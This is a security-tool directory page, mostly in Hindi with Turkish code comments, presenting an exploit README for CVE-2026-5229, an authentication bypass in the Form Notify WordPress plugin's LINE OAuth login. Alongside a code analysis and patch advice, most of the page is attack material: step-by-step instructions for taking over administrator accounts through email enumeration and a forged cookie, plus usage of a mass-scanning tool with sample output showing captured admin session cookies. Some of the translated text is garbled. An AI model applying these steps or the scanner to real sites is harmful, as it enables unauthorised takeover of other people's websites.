Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-5229 — CVE-2026-5229: LINE OAuth कॉलबैक के माध्यम से फॉर्म नोटिफाई प्रमाणीकरण बाईपास (CVSS 9.8) | Kitploit
उपकरण/GitHubGitHub/xxconi/cve-2026-5229
भेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षा
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: LINE OAuth कॉलबैक के माध्यम से फॉर्म नोटिफाई प्रमाणीकरण बाईपास (CVSS 9.8)

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-5229

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

Form Notify — LINE OAuth Authentication Bypass Scanner

Plugin: Form Notify (form-notify) भेद्यता प्रकार: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H प्रभावित संस्करण: <= 1.1.10 पैच संस्करण: 1.1.11+ शोधकर्ता: Paolo Tresso — Wordfence


📌 भेद्यता के बारे में

Form Notify प्लगइन, फ़ॉर्म सबमिशन के बाद सूचना भेजने वाला और LINE Login OAuth 2.0 एकीकरण प्रदान करने वाला एक WordPress प्लगइन है।

भेद्यता LINE OAuth कॉलबैक हैंडलर में मौजूद है। उपयोगकर्ता द्वारा LINE प्राधिकरण प्रवाह पूरा करने के बाद, प्लगइन WordPress खाते को केवल ईमेल पते के आधार पर हल करता है। यह कभी जांच नहीं करता कि LINE खाता पहले से उस WordPress खाते से जुड़ा है या नहीं।


🔍 संस्करण-आधारित भेद्यता तालिका

संस्करणभेद्यताहमला विधि
<= 1.1.08Cookie इंजेक्शन + ईमेल मिलानपथ A या पथ B
1.1.09 – 1.1.10ईमेल मिलान (कुकी हटा दी गई)पथ B
1.1.11+पैच किया गया—

⚙️ तकनीकी विश्लेषण

खुला REST एंडपॉइंट

LINE OAuth callback endpoint'i tamamen herkese açık olarak kayıtlıdır:

root@kitploit:~
// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // kimlik doğrulama gerekmez
        },
    )
);

Nonce सुरक्षा क्यों प्रदान नहीं करता?

WordPress nonce CSRF टोकन होते हैं, प्रमाणीकरण टोकन नहीं। कोई भी आगंतुक पृष्ठ HTML से एक वैध nonce प्राप्त कर सकता है और सत्यापन जांच पास कर सकता है।


ईमेल द्वारा खाता हल करना (1.1.10)

root@kitploit:~
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
root@kitploit:~
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // sadece email ile arama
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // linkage kontrolü YOK
    }
    return false;
}

यदि मिलान मिलता है, तो login() विधि तुरंत सत्र खोलती है:

root@kitploit:~
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

Cookie इंजेक्शन (<= 1.1.08)

root@kitploit:~
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

जब LINE प्रोफ़ाइल ईमेल नहीं लौटाती ($user->email खाली), तो प्लगइन सीधे ब्राउज़र कुकी पढ़ता है। हमलावर इस कुकी को पूरी तरह से नियंत्रित करता है।


State सत्यापन दुर्बलता

root@kitploit:~
$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // Transient yoksa $_SESSION'a düşer
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

यदि Transient की समय सीमा समाप्त हो गई है, तो $_SESSION फ़ॉलबैक सक्रिय हो जाता है। अधिकांश WordPress इंस्टॉलेशन में इस बिंदु पर $_SESSION भरा नहीं होता → state नियंत्रण को दरकिनार किया जा सकता है।


द्वितीयक समस्या — ईमेल = पासवर्ड (<= 1.1.10)

root@kitploit:~
// sign_up() metodu
$userdata = array(
    'user_pass' => $user_email,  // şifre = email adresi
    ...
);

LINE OAuth प्रवाह के माध्यम से बनाए गए खातों में पासवर्ड ईमेल पते के समान होता है। यह सीधे brute-force या लॉगिन हमले की अनुमति देता है।


🔴 यह गंभीर क्यों है?

कारणविवरण
प्रमाणीकरण आवश्यक नहींकॉलबैक एंडपॉइंट पूरी तरह से सार्वजनिक
लिंकेज नियंत्रण नहींकोई भी LINE खाता पर्याप्त
कुकी हमला<= 1.1.08 में ईमेल भी आवश्यक नहीं
एडमिन सहित सभी खातेget_user_by('email') सभी को प्रभावित करता है
कमजोर state नियंत्रणCSRF सुरक्षा को दरकिनार किया जा सकता है
ईमेल = पासवर्डOAuth से बनाए गए खाते सरल brute-force के लिए खुले हैं

🧪 प्रूफ ऑफ कॉन्सेप्ट (मैनुअल)

⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.

पूर्वापेक्षाएँ:

  • Form Notify प्लगइन स्थापित और सक्रिय, LINE Login कॉन्फ़िगर किया गया
  • LINE डेवलपर खाता और LINE Login चैनल
  • लक्ष्य साइट पर LINE लॉगिन बटन वाला एक पेज

पथ A — Cookie इंजेक्शन (<= 1.1.08)

चरण 1 — लक्ष्य ईमेल पता लगाना

root@kitploit:~
TARGET="https://target.com"

# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location

चरण 2 — कुकी सेट करें

ब्राउज़र डेवलपर टूल खोलें और कंसोल में पेस्ट करें:

root@kitploit:~
document.cookie = "[email protected]; path=/";

या curl के साथ:

root@kitploit:~
curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

चरण 3 — LINE OAuth प्रवाह शुरू करें

Location हेडर में LINE OAuth URL को ब्राउज़र में खोलें।

चरण 4 — ईमेल स्कोप दिए बिना पूरा करें

LINE सहमति स्क्रीन पर ईमेल अनुमति न दें या बिना ईमेल वाला LINE खाता उपयोग करें। LINE, ईमेल के बिना कॉलबैक पर रीडायरेक्ट करेगा। प्लगइन कुकी पर निर्भर हो जाता है।

चरण 5 — सत्र सत्यापित करें

root@kitploit:~
curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

अपेक्षित प्रतिक्रिया:

root@kitploit:~
{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

पथ B — ईमेल मिलान (<= 1.1.10)

चरण 1 — लक्ष्य ईमेल पता लगाना

पथ A चरण 1 के समान।

चरण 2 — LINE खाता बनाएँ

account.line.biz पर लक्ष्य ईमेल के साथ LINE खाता बनाएँ। (ईमेल सत्यापन आवश्यक है — लक्ष्य इनबॉक्स तक पहुंच अनिवार्य है।)

चरण 3 — OAuth प्रवाह शुरू करें

root@kitploit:~
https://target.com/wp-json/form-notify/v1/login

चरण 4 — ईमेल स्कोप देकर पूरा करें

LINE सहमति स्क्रीन पर ईमेल अनुमति दें। LINE, ईमेल पता कॉलबैक पर लौटाता है।

चरण 5 — स्वचालित प्रमाणीकरण

root@kitploit:~
Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator bulundu
     → wp_set_auth_cookie(1)
     → Oturum açıldı ✓

🛠️ स्वचालित स्कैनर

स्थापना

root@kitploit:~
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 उपयोग

एकल लक्ष्य — स्वचालित ईमेल खोज

root@kitploit:~
python form_notify_rce.py -u http://hedef.com

विशिष्ट ईमेल के साथ पथ A (Cookie इंजेक्शन)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path A

पथ B (ईमेल मिलान) — मैन्युअल पूर्णता

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path B

दोनों पथ एक साथ

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path both

सामूहिक स्कैनिंग

root@kitploit:~
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt

प्रॉक्सी के साथ (Burp Suite)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

⚙️ पैरामीटर

पैरामीटरलघुविवरणडिफ़ॉल्ट
--url-uएकल लक्ष्य URL—
--list-lलक्ष्य सूची फ़ाइल—
--threads-tथ्रेड संख्या10
--output-oआउटपुट फ़ाइलauth_bypass.txt
--email—लक्ष्य उपयोगकर्ता ईमेलस्वचालित खोज
--path—हमला पथ (A / B / both)both
--max-users—प्रति लक्ष्य अधिकतम उपयोगकर्ता5
--proxy—प्रॉक्सी URL—
--timeout—अनुरोध टाइमआउट (सेकंड)10

📊 स्कैनर आउटपुट स्थितियाँ

स्थितिविवरण
★ AUTH OKसत्र कुकी प्राप्त — पूरी तरह से स्वचालित
★ WP-ADMIN/wp-admin पर रीडायरेक्ट किया गया
~ MANUALOAuth URL तैयार, ब्राउज़र में पूरा करें
~ PATH BLINE खाते के साथ मैन्युअल चरण
- NO_PLUGINForm Notify स्थापित नहीं
- NO_LINELINE Login सक्रिय नहीं
~ NO_TARGETउपयोगकर्ता ईमेल नहीं मिला
~ UNREACHलक्ष्य तक नहीं पहुँचा जा सकता

🖥️ नमूना स्कैनर आउटपुट

root@kitploit:~
[*] 3 लक्ष्य | Form Notify LINE OAuth Bypass | threads=10

[★ AUTH OK   ] http://hedef1.com  (पथ A)
  लक्ष्य ईमेल : [email protected]
  संस्करण       : 1.1.08
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  उपयोगकर्ता   : admin <[email protected]> roles=['administrator']
  Cookie      : {'wordpress_logged_in_abc123': 'admin|...'}

[~ MANUAL    ] http://hedef2.com  (पथ A — मैन्युअल पूर्णता)
  लक्ष्य ईमेल : [email protected]
  Cookie Set  : [email protected]
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  State       : a1b2c3d4e5f6

[- NO_LINE   ] http://hedef3.com  (LINE Login सक्रिय नहीं)

──────────────────────────────────────────────────────────────
  DONE                        :    2
  NO_LINE                     :    1
──────────────────────────────────────────────────────────────
  Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────

🛡️ बचाव / पैच

उपायकार्यान्वयन
प्लगइन अद्यतनForm Notify 1.1.11+ संस्करण में अपग्रेड करें
LINE लिंकेज नियंत्रणLINE ID को उपयोगकर्ता मेटा में सहेजें, प्रत्येक लॉगिन पर सत्यापित करें
कुकी फ़ॉलबैक हटाएँ$_COOKIE['form_notify_line_email'] का उपयोग हटाएँ
State सत्यापनTransient फ़ॉलबैक हटाएँ, समय समाप्त state को अस्वीकार करें
पासवर्ड नीतिsign_up() में ईमेल को पासवर्ड के रूप में उपयोग न करें
REST एंडपॉइंट सुरक्षाकॉलबैक एंडपॉइंट पर रेट लिमिटिंग लागू करें

सुरक्षित खाता हल करने का उदाहरण:

root@kitploit:~
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );

// Güvenli (önerilen)
$users = get_users( array(
    'meta_key'   => 'line_user_id',
    'meta_value' => $line_user_id,  // LINE ID ile eşleştir
) );

📁 फ़ाइल संरचना

root@kitploit:~
form-notify-bypass/
├── form_notify_rce.py   # Ana tarayıcı
├── requirements.txt     # Bağımlılıklar
└── README.md            # Bu dosya

⚠️ कानूनी चेतावनी

यह उपकरण और PoC केवल अधिकृत सिस्टम्स पर, शैक्षिक उद्देश्यों के लिए और पेनिट्रेशन परीक्षण के दायरे में उपयोग के लिए तैयार किया गया है। बिना अनुमति के सिस्टम पर इसका उपयोग तुर्की दंड संहिता की धारा 243-245 और अंतरराष्ट्रीय साइबर अपराध कानूनों के तहत अपराध है। डेवलपर उपकरण के दुरुपयोग से उत्पन्न किसी भी कानूनी जिम्मेदारी को स्वीकार नहीं करता है।


📄 लाइसेंस

MIT लाइसेंस — केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए।


🔗 संदर्भ

  • Wordfence Advisory
  • LINE Login OAuth 2.0 Docs
  • WordPress Plugin Directory — Form Notify
  • CVSS 3.1 Calculator
  • OAuth 2.0 Security Best Practices — RFC 9700
टूल डाउनलोड करें